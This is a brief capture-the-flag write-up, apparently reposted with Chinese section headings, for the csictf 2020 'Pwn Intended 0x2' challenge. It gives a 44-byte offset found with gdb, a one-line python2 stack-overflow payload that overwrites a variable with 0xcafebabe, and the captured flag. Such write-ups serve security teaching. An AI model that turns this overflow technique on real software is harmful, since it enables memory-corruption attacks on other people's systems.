点击此处获得更好的阅读体验
WriteUp来源
https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Pwn-Intended-0x2.html
by AnandSaminathan
题目描述
题目考点
解题思路
This is exactly same as coffer-overflow-1 from redpwn-2020.
This time the variable has to be overwritten with a specific value instead of any random value.
1 | mov rbp,rsp |
Using gdb, the distance between the starting address of the buffer and the address of the variable to be overwritten was found to be 44 bytes, so we can have some padding of 44 bytes and then have the magic value in little endian. This worked:
1 | python2 -c "print 'A'*44 + '\xbe\xba\xfe\xca'" | ./pwn-intended-0x2 |
Flag
1 | csictf{c4n_y0u_re4lly_telep0rt?} |